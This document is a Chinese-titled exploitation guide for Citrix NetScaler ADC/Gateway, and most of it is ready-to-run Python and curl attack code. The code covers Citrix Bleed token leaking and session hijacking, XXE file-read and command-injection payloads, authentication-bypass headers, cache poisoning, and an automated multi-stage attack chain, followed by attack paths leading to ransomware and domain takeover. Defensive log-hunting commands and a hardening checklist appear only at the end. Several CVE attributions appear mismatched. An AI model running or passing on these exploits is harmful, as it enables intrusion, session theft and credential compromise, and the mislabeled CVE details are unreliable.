Citrix NetScaler ADC Gateway SSL-VPN 缓冲区泄露 认证绕过 CVE漏洞链利用技术

nmap -sV -p 443,80,161,22 <target>

curl -skI https://<target>/vpn/index.html
# Set-Cookie: NSC_TMAS / NSC_AAAC
# 状态码 200 + Citrix 特征头

curl -sk https://<target>/vpn/index.html | grep -i "citrix\|netscaler\|gateway"
# 页面 HTML 中包含产品名称

curl -sk https://<target>/logon/LogonPoint/index.html | head -50
# Gateway 登录页面

443    — SSL-VPN Gateway / 管理 GUI / NITRO API
80     — HTTP 重定向 / 管理 GUI (备用)
161    — SNMP
22     — SSH 管理
3009   — HA 同步
3010   — HA 心跳
1494   — ICA (Citrix 虚拟桌面)
2598   — CGP (Common Gateway Protocol)
8080   — 管理界面 (备用端口)

/vpn/index.html                          — VPN 登录页面
/citrix/                                 — Citrix Web 站点根
/nf/                                     — NetScaler Firmware 页面
/logon/LogonPoint/index.html             — Gateway 登录页面
/logon/LogonPoint/LogonPage.html         — 登录表单页
/vpn/pluginlist.xml                      — VPN 插件列表
/cgi/logout                              — 登出接口
/nitro/v1/config/                        — NITRO REST API
/nitro/v1/stat/                          — NITRO 统计 API
/vpn/js/gateway_login.js                 — Gateway 登录脚本 (版本线索)
/menu/guiw                                — 管理 GUI 入口
/epa/                                     — EPA (端点分析)
/uiauth/v1/login                         — 新版认证接口

import requests
import re
import urllib3
urllib3.disable_warnings()

def detect_netscaler(host, port=443):
    base_url = f"https://{host}:{port}"
    endpoints = [
        "/vpn/index.html",
        "/logon/LogonPoint/index.html",
        "/citrix/",
        "/nf/",
        "/vpn/pluginlist.xml",
    ]
    headers_detected = False
    for ep in endpoints:
        try:
            resp = requests.get(
                f"{base_url}{ep}", verify=False, timeout=10, allow_redirects=False
            )
            if resp.status_code in [200, 301, 302]:
                print(f"[+] Found: {ep} (HTTP {resp.status_code})")
                headers_detected = True
            for hdr in ["Server", "X-Citrix", "Set-Cookie"]:
                val = resp.headers.get(hdr, "")
                if "NSC" in val or "Citrix" in val or "NetScaler" in val:
                    print(f"[+] Header {hdr}: {val}")
            ver = re.search(
                r'(?:NetScaler|Citrix ADC|NS|NSAPP)\s*[\w-]*\s*(\d+[\d.]+)',
                resp.text, re.I
            )
            if ver:
                print(f"[+] Version detected: {ver.group(1)}")
            if "NetScaler" in resp.text or "Citrix" in resp.text:
                print("[+] Product: Citrix NetScaler ADC / Gateway")
        except Exception:
            pass

    try:
        resp = requests.get(
            f"{base_url}/vpn/js/gateway_login.js", verify=False, timeout=10
        )
        ver = re.search(r'["\']version["\']\s*[:=]\s*["\']([^"\']+)', resp.text)
        if ver:
            print(f"[+] Gateway JS version: {ver.group(1)}")
    except Exception:
        pass

    try:
        resp = requests.get(
            f"{base_url}/nitro/v1/config/nsversion", verify=False, timeout=10
        )
        if resp.status_code == 200:
            print(f"[+] NITRO API accessible, version: {resp.text[:300]}")
    except Exception:
        pass

detect_netscaler("192.168.1.1")

snmpwalk -v2c -c public <target> 1.3.6.1.4.1.5951.1.1
snmpwalk -v2c -c public <target> 1.3.6.1.4.1.5951.4.1
snmpwalk -v2c -c public <target> sysDescr.0

snmpget -v2c -c public <target> 1.3.6.1.4.1.5951.1.1.57.0
snmpget -v2c -c public <target> 1.3.6.1.4.1.5951.1.1.1.0

import requests
import re
import urllib3
urllib3.disable_warnings()

def exploit_citrix_bleed(host, port=443, iterations=25):
    base_url = f"https://{host}:{port}"
    leaked_tokens = set()

    payload_paths = [
        "/vpn/index.html",
        "/logon/LogonPoint/index.html",
        "/nf/auth/doLogon.do",
        "/vpn/pluginlist.xml",
    ]

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Connection": "keep-alive",
        "Cookie": "NSC_TMAS=AAAA" + "\x00" * 500,
    }

    print("[*] CVE-2023-4966 — Citrix Bleed Buffer Over-Read")
    print(f"[*] Target: {base_url}")
    print(f"[*] Running {iterations} iterations...")

    for i in range(iterations):
        for path in payload_paths:
            try:
                resp = requests.get(
                    f"{base_url}{path}",
                    headers=headers,
                    verify=False,
                    timeout=15,
                    allow_redirects=False
                )
                resp_text = resp.text
                for cookie_name in ["NSC_TMAS", "NSC_AAAC", "NSC_TMASADM"]:
                    pattern = rf'{cookie_name}=([A-Za-z0-9+/=]{{20,}})'
                    matches = re.findall(pattern, resp_text)
                    for token in matches:
                        if token not in leaked_tokens:
                            leaked_tokens.add(token)
                            print(f"[+] Leaked token: {cookie_name}={token[:60]}...")
                            print(f"    Source: {path} (iteration {i+1})")

                body = resp.content
                for pattern in [
                    rb'(NSC_TMAS=)([^\s;]{20,})',
                    rb'(NSC_AAAC=)([^\s;]{20,})',
                    rb'(NSC_TMASADM=)([^\s;]{20,})',
                    rb'session[0-9a-f]{32}',
                ]:
                    for match in re.finditer(pattern, body):
                        data = match.group(0).decode("latin-1")
                        if data not in leaked_tokens:
                            leaked_tokens.add(data)
                            print(f"[+] Binary leak: {data[:80]}...")

                if len(resp_text) > 0:
                    non_ascii = [
                        b for b in resp.content
                        if b > 0x7F or (b < 0x20 and b not in [0x09, 0x0a, 0x0d])
                    ]
                    if len(non_ascii) > 50:
                        print(f"[*] Suspicious binary content ({len(non_ascii)} bytes) at {path}")

            except requests.exceptions.Timeout:
                print(f"[!] Timeout at {path} (service may be affected)")
            except Exception:
                pass

    if leaked_tokens:
        print(f"\n[+] Total unique tokens leaked: {len(leaked_tokens)}")
        print("[*] Use leaked tokens for session hijacking:")
        for token in leaked_tokens:
            print(f"    Cookie: {token[:80]}...")
    else:
        print("[-] No tokens leaked (target may be patched)")

    return leaked_tokens

def hijack_session(host, token, port=443):
    base_url = f"https://{host}:{port}"
    headers = {
        "Cookie": token if "=" in token else f"NSC_TMAS={token}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    }
    try:
        resp = requests.get(
            f"{base_url}/vpn/index.html",
            headers=headers,
            verify=False, timeout=10, allow_redirects=False
        )
        if resp.status_code == 200 and "logout" in resp.text.lower():
            print("[+] Session hijack successful! Authenticated VPN session obtained.")
            print(f"[+] Response size: {len(resp.text)} bytes")
            return True
        print(f"[*] Session check response: HTTP {resp.status_code}")
    except Exception as e:
        print(f"[-] Session hijack failed: {e}")
    return False

leaked = exploit_citrix_bleed("192.168.1.1")

# 检测目标是否存在 CVE-2023-4966
# 超过正常 HTTP 响应长度 + 二进制数据即可判定泄露

curl -sk -o /dev/null -w "%{size_download}" https://TARGET/vpn/index.html
# 正常响应通常 < 10KB

curl -sk -H "Cookie: NSC_TMAS=$(python3 -c 'print("A"*500)')" \
  https://TARGET/vpn/index.html | wc -c
# 异常长度 (> 正常 1KB+) = 可能存在泄露

import requests
import urllib3
import base64
import zlib
urllib3.disable_warnings()

def exploit_cve_2023_3519_probe(host, port=443):
    base_url = f"https://{host}:{port}"

    saml_endpoints = [
        "/cgi/login",
        "/logon/LogonPoint/index.html",
        "/vpn/index.html",
        "/nf/auth/doLogon.do",
        "/epa/epa-ntlm",
    ]

    xxe_payloads = [
        '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><Response><Assertion><AttributeValue>&xxe;</AttributeValue></Assertion></Response>',
        '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///nsconfig/ns.conf">]><Response><Assertion><AttributeValue>&xxe;</AttributeValue></Assertion></Response>',
    ]

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    print("[*] CVE-2023-3519 — SAML Code Injection RCE Probe")
    print(f"[*] Target: {base_url}")

    for ep in saml_endpoints:
        for payload in xxe_payloads:
            try:
                encoded = base64.b64encode(payload.encode()).decode()
                saml_response = (
                    "SAMLResponse=" + encoded +
                    "&RelayState=https://target.example.com/vpn/index.html"
                )
                resp = requests.post(
                    f"{base_url}{ep}",
                    data=saml_response,
                    headers=headers,
                    verify=False,
                    timeout=15,
                    allow_redirects=False
                )
                print(f"[*] POST {ep} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
                if "root:" in resp.text or "nsconfig" in resp.text:
                    print("[+] XXE payload reflected — target is VULNERABLE!")
                    print(f"[+] Leaked data: {resp.text[:500]}")
                    return True
            except requests.exceptions.Timeout:
                print(f"[!] Timeout at {ep} (RCE may have executed)")
            except Exception:
                pass

    print("[*] Testing non-SAML code injection vectors...")
    injection_payloads = [
        "login=test${7*7}&password=test",
        "login=test`id`&password=test",
        "login=test$(id)&password=test",
        "passwd=test&username=test%0aid",
    ]

    login_endpoints = [
        "/cgi/login",
        "/logon/LogonPoint/LogonPage.html",
        "/uiauth/v1/login",
    ]

    for ep in login_endpoints:
        for payload in injection_payloads:
            try:
                resp = requests.post(
                    f"{base_url}{ep}",
                    data=payload,
                    headers=headers,
                    verify=False,
                    timeout=10,
                    allow_redirects=False
                )
                if "uid=" in resp.text or "49" in resp.text:
                    print(f"[+] Injection detected at {ep}!")
                    return True
            except Exception:
                pass

    print("[-] No exploitation indicators detected")
    return False

exploit_cve_2023_3519_probe("192.168.1.1")

# 检查 Gateway 设备上是否有 Web Shell
find /var/netscaler/ -name "*.php" -mtime -90 2>/dev/null
find /var/vpn/ -name "*.sh" -o -name "*.py" -mtime -90 2>/dev/null
find /tmp/ -name "*.pl" -o -name "*.py" -mtime -30 2>/dev/null

# 检查 crontab 持久化
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null

# 检查异常进程
ps aux | grep -E "python|perl|bash|sh" | grep -v grep

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2023_5914(host, port=443):
    base_url = f"https://{host}:{port}"

    admin_paths = [
        "/menu/guiw",
        "/nitro/v1/config/nsconfig",
        "/nitro/v1/config/nshostname",
        "/nitro/v1/config/nsversion",
        "/nitro/v1/config/nsip",
        "/nitro/v1/config/nsservice",
        "/nitro/v1/stat/ns",
    ]

    bypass_headers = [
        {
            "User-Agent": "Mozilla/5.0",
            "X-Forwarded-For": "127.0.0.1",
            "Content-Type": "application/x-www-form-urlencoded",
        },
        {
            "User-Agent": "Mozilla/5.0",
            "Authorization": "Basic Og==",
            "Content-Type": "application/x-www-form-urlencoded",
        },
        {
            "User-Agent": "Mozilla/5.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Connection": "close",
            "NSC_USER": "nsroot",
            "NSC_TYPE": "ssh",
        },
    ]

    print("[*] CVE-2023-5914 — Management Interface Auth Bypass")
    print(f"[*] Target: {base_url}")

    for idx, headers in enumerate(bypass_headers):
        for path in admin_paths:
            try:
                resp = requests.get(
                    f"{base_url}{path}",
                    headers=headers,
                    verify=False,
                    timeout=10,
                    allow_redirects=False
                )
                if resp.status_code == 200:
                    has_admin_data = any(
                        kw in resp.text
                        for kw in ["nsconfig", "hostname", "nsip", "errorcode"]
                    )
                    if has_admin_data:
                        print(f"[+] BYPASS CONFIRMED: {path} -> HTTP 200 with admin data!")
                        print(f"[+] Headers set #{idx+1}")
                        print(f"[+] Response: {resp.text[:300]}")
                        return True
                    else:
                        print(f"[*] HTTP 200 at {path} (no admin data)")
                elif resp.status_code == 302:
                    loc = resp.headers.get("Location", "")
                    if "login" not in loc.lower():
                        print(f"[*] HTTP 302 -> {loc} (potential bypass)")
            except Exception:
                pass

    print("[*] Testing NITRO API authentication bypass...")
    nitro_endpoints = [
        "/nitro/v1/config/nsconfig",
        "/nitro/v1/config/nsversion",
        "/nitro/v1/stat/ns",
        "/nitro/v1/config/nshostname",
    ]
    nitro_headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-NITRO-USER": "nsroot",
        "X-NITRO-PASS": "",
    }
    for ep in nitro_endpoints:
        try:
            resp = requests.get(
                f"{base_url}{ep}",
                headers=nitro_headers,
                verify=False,
                timeout=10
            )
            if resp.status_code == 200 and "errorcode" not in resp.text[:100]:
                print(f"[+] NITRO bypass: {ep} -> HTTP 200")
                return True
        except Exception:
            pass

    print("[-] No authentication bypass detected")
    return False

exploit_cve_2023_5914("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2023_41993_probe(host, port=443):
    base_url = f"https://{host}:{port}"

    webkit_trigger_paths = [
        "/vpn/pluginlist.xml",
        "/epa/epa.html",
        "/vpn/resources/",
        "/citrix/",
        "/logon/LogonPoint/receiver/",
    ]

    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                      "AppleWebKit/605.1.15 (KHTML, like Gecko) "
                      "Version/16.6 Safari/605.1.15",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    }

    print("[*] CVE-2023-41993 — WebKit Exploit Chain Probe")
    print(f"[*] Target: {base_url}")

    for path in webkit_trigger_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers=headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            print(f"[*] GET {path} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
            if resp.status_code == 200:
                if "ica" in resp.text.lower() or "receiver" in resp.text.lower():
                    print(f"[+] ICA/Receiver content served at {path}")
        except Exception:
            pass

    print("[*] Checking Citrix Workspace App version exposure...")
    version_paths = [
        "/vpn/wg/inventory",
        "/vpn/pluginlist.xml",
        "/citrix/version",
    ]
    for path in version_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}", verify=False, timeout=10
            )
            if resp.status_code == 200 and len(resp.text) > 10:
                print(f"[+] Version info at {path}: {resp.text[:200]}")
        except Exception:
            pass

exploit_cve_2023_41993_probe("192.168.1.1")

import requests
import urllib3
import hashlib
import time
urllib3.disable_warnings()

def exploit_cve_2024_6235(host, port=443):
    base_url = f"https://{host}:{port}"

    leak_headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Forwarded-Host": "evil.attacker.com",
        "X-Forwarded-Proto": "https",
        "X-Original-URL": "/vpn/index.html",
        "X-Rewrite-URL": "/admin/config",
    }

    print("[*] CVE-2024-6235 — Sensitive Information Disclosure")
    print(f"[*] Target: {base_url}")

    cache_poison_paths = [
        "/vpn/index.html",
        "/logon/LogonPoint/index.html",
        "/citrix/",
        "/vpn/pluginlist.xml",
        "/logon/LogonPoint/LogonPage.html",
        "/cgi/logout",
        "/epa/epa.html",
    ]

    sensitive_keywords = [
        "password", "passwd", "secret", "token", "session",
        "ns.conf", "nsroot", "cookie", "credential", "key",
        "internal", "backend", "admin", "127.0.0.1",
    ]

    leaked_data = []

    for path in cache_poison_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers=leak_headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )

            cache_headers = {
                "X-Cache": resp.headers.get("X-Cache", ""),
                "Age": resp.headers.get("Age", ""),
                "Cache-Control": resp.headers.get("Cache-Control", ""),
                "Vary": resp.headers.get("Vary", ""),
            }
            print(f"[*] GET {path} -> HTTP {resp.status_code} | Cache: {cache_headers}")

            for kw in sensitive_keywords:
                if kw.lower() in resp.text.lower():
                    idx = resp.text.lower().find(kw.lower())
                    snippet = resp.text[max(0, idx-30):idx+len(kw)+30]
                    leaked_data.append((path, kw, snippet))

            if resp.status_code == 200:
                etag = resp.headers.get("ETag", "")
                if etag:
                    print(f"[*] ETag: {etag} (potential cache target)")

        except Exception:
            pass

    if leaked_data:
        print(f"\n[+] Found {len(leaked_data)} sensitive data indicators:")
        for path, kw, snippet in leaked_data[:10]:
            print(f"    {path} | keyword: {kw} | snippet: ...{snippet.strip()[:80]}...")
    else:
        print("[-] No sensitive data leaked (target may be patched)")

    print("\n[*] Testing cache poisoning via Host header manipulation...")
    for path in cache_poison_paths[:3]:
        try:
            cache_key = f"cache-bypass-{int(time.time())}"
            poison_headers = {
                "Host": f"{cache_key}.evil.com",
                "X-Forwarded-Host": f"{cache_key}.evil.com",
                "X-Forwarded-For": "127.0.0.1",
            }
            resp = requests.get(
                f"{base_url}{path}",
                headers=poison_headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            if resp.status_code == 200 and cache_key in resp.text:
                print(f"[+] Cache poisoning confirmed at {path}!")
        except Exception:
            pass

    return leaked_data

exploit_cve_2024_6235("192.168.1.1")

CVE-2023-4966 (Citrix Bleed 缓冲区泄露)
    ↓ 通过缓冲区越界读取泄露有效会话令牌
会话劫持 (绕过 MFA)
    ↓ 使用泄露的 NSC_TMAS / NSC_AAAC 令牌
访问已认证用户的 VPN 会话
    ↓ 获取内网 IP 地址、DNS 配置、路由表
枚举内网资源
    ↓ AD LDAP 查询、共享枚举
凭据窃取与横向移动
    ↓ Kerberoasting / Pass-the-Hash / RDP 横向
勒索软件部署 (LockBit / ALPHV)
    ↓ 域管理员权限 → 全域加密

CVE-2023-3519 (Gateway RCE via SAML)
    ↓ 通过 SAML 注入执行任意代码
部署 Web Shell / 后门
    ↓ 在 /var/netscaler/ 或 /tmp/ 植入持久化后门
窃取 NetScaler 配置
    ↓ /nsconfig/ns.conf 包含 AD 凭据、证书、共享密钥
提取 LDAP/AD 绑定凭据
    ↓ 通常为域管理员级别服务账号
AD 域控制器完全接管
    ↓ DCSync / Golden Ticket / DSRM 后门
全网持久化与数据窃取

CVE-2023-5914 (管理接口认证绕过)
    ↓ 绕过管理 GUI / NITRO API 认证
获取管理员权限
    ↓ 读取/修改 NetScaler 配置
导出 SSL 证书和私钥
    ↓ 企业通配证书、VPN 证书
修改流量策略
    ↓ 中间人攻击、流量劫持
HA 节点接管
    ↓ 控制主备节点，破坏高可用

import requests
import re
import urllib3
urllib3.disable_warnings()

class CitrixBleedChain:
    def __init__(self, target, port=443):
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False
        self.leaked_tokens = set()
        self.hijacked_session = None

    def stage1_leak_tokens(self, iterations=30):
        print("[*] Stage 1: Leaking session tokens via CVE-2023-4966...")
        paths = ["/vpn/index.html", "/logon/LogonPoint/index.html", "/nf/auth/doLogon.do"]
        for i in range(iterations):
            for path in paths:
                try:
                    headers = {
                        "Cookie": "NSC_TMAS=AAAA" + "\x00" * 500,
                        "Connection": "keep-alive",
                    }
                    resp = self.session.get(
                        f"{self.base_url}{path}",
                        headers=headers, timeout=15, allow_redirects=False
                    )
                    for pattern in [
                        r'NSC_TMAS=([A-Za-z0-9+/=]{20,})',
                        r'NSC_AAAC=([A-Za-z0-9+/=]{20,})',
                    ]:
                        for m in re.findall(pattern, resp.text):
                            if m not in self.leaked_tokens:
                                self.leaked_tokens.add(m)
                                print(f"  [+] Token: NSC_TMAS={m[:60]}...")
                except Exception:
                    pass
        print(f"[*] Total leaked tokens: {len(self.leaked_tokens)}")
        return len(self.leaked_tokens) > 0

    def stage2_hijack_session(self):
        print("[*] Stage 2: Hijacking authenticated session...")
        for token in self.leaked_tokens:
            try:
                headers = {"Cookie": f"NSC_TMAS={token}"}
                resp = self.session.get(
                    f"{self.base_url}/vpn/index.html",
                    headers=headers, timeout=10, allow_redirects=False
                )
                if resp.status_code == 200 and "logout" in resp.text.lower():
                    self.hijacked_session = token
                    print(f"  [+] Authenticated session hijacked!")
                    return True
            except Exception:
                pass
        print("  [-] No valid session found")
        return False

    def stage3_enumerate_internal(self):
        print("[*] Stage 3: Enumerating internal network from VPN session...")
        if not self.hijacked_session:
            return
        headers = {"Cookie": f"NSC_TMAS={self.hijacked_session}"}
        endpoints = [
            "/vpn/pluginlist.xml",
            "/vpn/js/gateway_login.js",
            "/cgi/logout",
            "/logon/LogonPoint/receiver/",
        ]
        for ep in endpoints:
            try:
                resp = self.session.get(
                    f"{self.base_url}{ep}",
                    headers=headers, timeout=10
                )
                if resp.status_code == 200:
                    print(f"  [+] Accessible: {ep} ({len(resp.text)} bytes)")
                    for pattern in [r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}']:
                        ips = set(re.findall(pattern, resp.text))
                        if ips:
                            print(f"  [*] Internal IPs found: {ips}")
            except Exception:
                pass

    def stage4_extract_config(self):
        print("[*] Stage 4: Attempting to extract configuration...")
        if not self.hijacked_session:
            return
        headers = {"Cookie": f"NSC_TMAS={self.hijacked_session}"}
        config_endpoints = [
            "/nitro/v1/config/nsconfig",
            "/nitro/v1/config/nsservice",
            "/nitro/v1/config/nsvserver",
            "/nitro/v1/config/nsaaa",
        ]
        for ep in config_endpoints:
            try:
                resp = self.session.get(
                    f"{self.base_url}{ep}",
                    headers=headers, timeout=10
                )
                if resp.status_code == 200:
                    print(f"  [+] Config endpoint: {ep}")
                    sensitive = ["bindDN", "bindPassword", "ldapBase", "ldapHost"]
                    for s in sensitive:
                        if s.lower() in resp.text.lower():
                            print(f"  [!] Sensitive param found: {s}")
            except Exception:
                pass

    def run(self):
        print(f"[*] Target: {self.base_url}")
        print("=" * 60)
        if self.stage1_leak_tokens():
            if self.stage2_hijack_session():
                self.stage3_enumerate_internal()
                self.stage4_extract_config()
        print("=" * 60)
        print("[*] Attack chain complete")

chain = CitrixBleedChain("192.168.1.1")
chain.run()

# NetScaler ns.log 主日志
cat /var/log/ns.log | grep -iE "error|warn|attack|exploit|bleed" | tail -100
cat /var/log/ns.log | grep -E "(\.\./|\.\.%2f|%2e%2e)" | head -50

# newnslog 统计日志（二进制格式，需通过 CLI 查看）
# > show system messages
# > show log messages

# 认证日志
cat /var/log/auth.log | tail -200
cat /var/log/ns.log | grep -i "login\|auth\|session" | tail -100

# 检查会话异常
# > show aaa session
# > show vpn session
# > show aaa user

# HTTP 访问日志
cat /var/log/httpaccess.log | tail -200
cat /var/log/httperror.log | tail -100

# 检查 NITRO API 访问
cat /var/log/ns.log | grep -i "nitro" | tail -50

# Shell 命令审计
cat /var/log/shell.log | tail -100
last -20

# 检查同一令牌被多个源 IP 使用（Citrix Bleed 典型特征）
cat /var/log/ns.log | grep "NSC_TMAS" | awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

# 检查 VPN 会话异常（短时间大量会话创建/销毁）
cat /var/log/ns.log | grep -i "vpn.*session" | tail -50

# 检查认证绕过请求
cat /var/log/ns.log | grep -E "(\.\./|\.\.%2f|%2e%2e|%252e%252e)" | head -50

# 检查 SAML 相关异常
cat /var/log/ns.log | grep -i "saml" | tail -50

# CLI 检查活跃会话
# > show aaa session -detail
# > show vpn connection
# > show ns session

# 检查异常出站连接（C2 回连）
netstat -an | grep ESTABLISHED | grep -v "127.0.0.1" | head -50

# 检查异常大小的 HTTP 响应（CVE-2023-4966 特征）
cat /var/log/httpaccess.log | awk '$NF > 10000 {print}' | head -20

# 检查包含二进制数据的 HTTP 响应
grep -P '[\x80-\xff]' /var/log/httpaccess.log | head -20

# 检查同一源 IP 的短时间大量请求
cat /var/log/httpaccess.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

# 检查异常 Cookie 头
cat /var/log/httpaccess.log | grep "NSC_TMAS" | awk -F'NSC_TMAS=' '{print length($2)}' | sort -rn | head -20

[ ] 确认 NetScaler ADC / Gateway 版本与已安装补丁
    - > show version
    - > show ns info
    - 对比 Citrix 安全公告 CTX 系列

[ ] 排查 CVE-2023-4966 Citrix Bleed
    - 检查 ns.log 中的异常会话令牌使用
    - 检查同一令牌被多个源 IP 使用
    - 审查 2023-10 至 2023-12 的 VPN 会话日志
    - 重置所有活动 VPN 会话
    - 重置所有管理员凭据
    - 检查内网横向移动痕迹

[ ] 排查 CVE-2023-3519 RCE
    - 检查 /var/netscaler/ 下的异常文件
    - 检查 /tmp/ 和 /var/tmp/ 中的可疑脚本
    - 检查 SAML 配置和认证日志
    - 检查异常进程和网络连接
    - 检查 crontab 持久化

[ ] 排查 CVE-2023-5914 管理接口绕过
    - 检查 NITRO API 访问日志
    - 检查管理 GUI 访问日志
    - 审查配置变更记录

[ ] 排查 CVE-2019-19781 历史利用
    - 检查 /var/tmp/ 下的持久化文件
    - 检查 /netscaler/portal/templates/ 下的 Web Shell
    - 审查所有 2019-12 至 2020-04 的日志

[ ] 排查 Web Shell 和后门
    - find /var/netscaler/ -type f -mtime -90
    - find /tmp/ -name "*.pl" -o -name "*.py" -mtime -90
    - 检查异常进程
    - 检查 /etc/crontab 和用户 crontab

[ ] 网络隔离与加固
    - 立即升级到最新版本
    - 禁止管理接口暴露于互联网
    - 启用 MFA（所有管理访问和 VPN 用户）
    - 重置 SSL 证书
    - 审查并重置 LDAP/AD 绑定凭据

[ ] NetScaler ADC / Gateway 已升级到最新稳定版本
[ ] 所有已知 CVE 已打补丁（对照 Citrix 安全公告）
[ ] 管理接口 (NSIP) 仅内网可达，不暴露于互联网
[ ] 管理接口使用强密码 + 双因素认证
[ ] nsroot 默认密码已修改
[ ] SSL-VPN 已配置 MFA（所有用户强制）
[ ] 已检查并清除 Web Shell 和后门
[ ] 已重置所有管理员密码（含 nsroot）
[ ] 已重置所有 VPN 用户密码
[ ] 已重置 LDAP/AD 绑定凭据
[ ] 已审查 SAML 配置和证书完整性
[ ] 已检查 /var/netscaler/ 下的异常文件
[ ] 已检查 /tmp/ 和 /var/tmp/ 中的可疑脚本
[ ] 已检查系统 crontab 异常
[ ] 已检查异常网络连接和进程
[ ] 已启用 Web 服务日志并远程收集
[ ] 已启用认证日志审计
[ ] 已配置入侵防御规则（检测缓冲区泄露、路径遍历）
[ ] 已建立 VPN 连接监控基线
[ ] 已配置异常登录告警
[ ] 已备份 ns.conf 配置并加密存储
[ ] 已建立 NetScaler 应急响应预案
[ ] 已定期进行安全基线检查
[ ] 已订阅 Citrix / Cloud Software Group 安全公告通知
[ ] 已实施网络分段策略
[ ] 管理 GUI 使用独立管理 VLAN
[ ] NITRO API 已限制访问源 IP
[ ] SNMP 社区字符串已修改为强随机值
[ ] 已禁用不必要的管理端口（HTTP 80、Telnet）